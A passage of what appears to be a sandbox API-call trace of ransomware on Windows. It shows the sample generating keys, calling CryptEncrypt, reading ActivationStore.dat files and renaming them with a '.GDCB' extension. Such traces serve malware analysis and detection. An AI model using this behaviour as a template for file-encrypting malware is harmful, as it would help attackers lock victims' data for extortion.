phKey=0x285ded8*=0x67ad370) returned 1 [0298.769] CryptGetKeyParam (in: hKey=0x67ad370, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.769] CryptEncrypt (in: hKey=0x67ad370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25f0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25f0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.769] GetLastError () returned 0x0 [0298.769] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.769] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Microsoft.WindowsSoundRecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\microsoft.windowssoundrecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0298.770] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0298.773] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd930000 [0298.776] ReadFile (in: hFile=0x3c8, lpBuffer=0xd930000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd930000*, lpNumberOfBytesRead=0x285e090*=0x8000, lpOverlapped=0x0) returned 1 [0298.805] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xda40000 [0298.812] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Microsoft.WindowsSoundRecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\microsoft.windowssoundrecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Microsoft.WindowsSoundRecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\microsoft.windowssoundrecorder_10.1506.15100.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 0 [0298.835] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0298.838] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.841] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.841] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.841] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.841] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.844] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.846] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.846] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.846] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.846] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0298.848] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad3f0) returned 1 [0298.848] CryptGetKeyParam (in: hKey=0x67ad3f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.848] CryptEncrypt (in: hKey=0x67ad3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25e0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25e0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.849] GetLastError () returned 0x0 [0298.849] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.849] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0298.850] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad8b0) returned 1 [0298.850] CryptGetKeyParam (in: hKey=0x67ad8b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.850] CryptEncrypt (in: hKey=0x67ad8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25f0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25f0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.851] GetLastError () returned 0x0 [0298.851] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.851] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Microsoft.WindowsStore_2015.7.1.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\microsoft.windowsstore_2015.7.1.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0298.851] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0298.855] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd930000 [0298.859] ReadFile (in: hFile=0x3c8, lpBuffer=0xd930000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd930000*, lpNumberOfBytesRead=0x285e090*=0x20210, lpOverlapped=0x0) returned 1 [0298.867] VirtualAlloc (lpAddress=0x0, dwSize=0x20210, flAllocationType=0x3000, flProtect=0x4) returned 0xda40000 [0298.876] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Microsoft.WindowsStore_2015.7.1.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\microsoft.windowsstore_2015.7.1.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Microsoft.WindowsStore_2015.7.1.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\microsoft.windowsstore_2015.7.1.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0298.917] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0298.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.923] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.923] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.923] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.923] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.926] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.928] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.928] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.928] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.928] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.931] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad430) returned 1 [0298.931] CryptGetKeyParam (in: hKey=0x67ad430, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.931] CryptEncrypt (in: hKey=0x67ad430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25e0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25e0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.931] GetLastError () returned 0x0 [0298.931] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.931] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.933] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad870) returned 1 [0298.933] CryptGetKeyParam (in: hKey=0x67ad870, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.933] CryptEncrypt (in: hKey=0x67ad870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25f0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25f0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.933] GetLastError () returned 0x0 [0298.933] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.933] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Microsoft.XboxGameCallableUI_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\microsoft.xboxgamecallableui_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0298.953] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0298.957] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.959] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.959] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.959] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.959] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.962] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.964] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.964] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.964] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.967] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad4b0) returned 1 [0298.967] CryptGetKeyParam (in: hKey=0x67ad4b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.967] CryptEncrypt (in: hKey=0x67ad4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd920000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd920000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.967] GetLastError () returned 0x0 [0298.967] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.967] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0298.969] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad7b0) returned 1 [0298.969] CryptGetKeyParam (in: hKey=0x67ad7b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.969] CryptEncrypt (in: hKey=0x67ad7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd930000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd930000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.969] GetLastError () returned 0x0 [0298.969] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.969] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0299.031] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0299.034] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.037] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.037] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0299.037] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0299.037] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0299.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.041] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.042] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0299.042] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.042] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0299.044] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad5f0) returned 1 [0299.044] CryptGetKeyParam (in: hKey=0x67ad5f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0299.044] CryptEncrypt (in: hKey=0x67ad5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd940000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd940000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0299.044] GetLastError () returned 0x0 [0299.044] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.045] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4980) returned 1 [0299.046] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad530) returned 1 [0299.046] CryptGetKeyParam (in: hKey=0x67ad530, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0299.046] CryptEncrypt (in: hKey=0x67ad530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd950000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd950000*, pdwDataLen=0x285e050*=0x100) returned 1 [0299.047] GetLastError () returned 0x0 [0299.047] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0299.047] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0299.048] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd960000 [0299.051] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd970000 [0299.053] ReadFile (in: hFile=0x3c8, lpBuffer=0xd970000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd970000*, lpNumberOfBytesRead=0x285e090*=0x4000, lpOverlapped=0x0) returned 1 [0299.063] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xda80000 [0299.069] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 0 [0299.191] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0299.195] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.198] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.198] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0299.198] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0299.198] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0299.202] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.205] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.205] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0299.205] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.206] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0299.208] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad570) returned 1 [0299.208] CryptGetKeyParam (in: hKey=0x67ad570, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0299.208] CryptEncrypt (in: hKey=0x67ad570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd940000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd940000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0299.208] GetLastError () returned 0x0 [0299.208] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0299.208] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0299.211] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad230) returned 1 [0299.211] CryptGetKeyParam (in: hKey=0x67ad230, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0299.211] CryptEncrypt (in: hKey=0x67ad230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd950000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd950000*, pdwDataLen=0x285e050*=0x100) returned 1 [0299.211] GetLastError () returned 0x0 [0299.211] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0299.211] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\windows.purchasedialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0299.212] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd960000 [0299.216] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd970000 [0299.218] ReadFile (in: hFile=0x3c8, lpBuffer=0xd970000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd970000*, lpNumberOfBytesRead=0x285e090*=0x4000, lpOverlapped=0x0) returned 1 [0299.281] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xda80000 [0299.289] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\windows.purchasedialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\windows.purchasedialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0299.314] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, 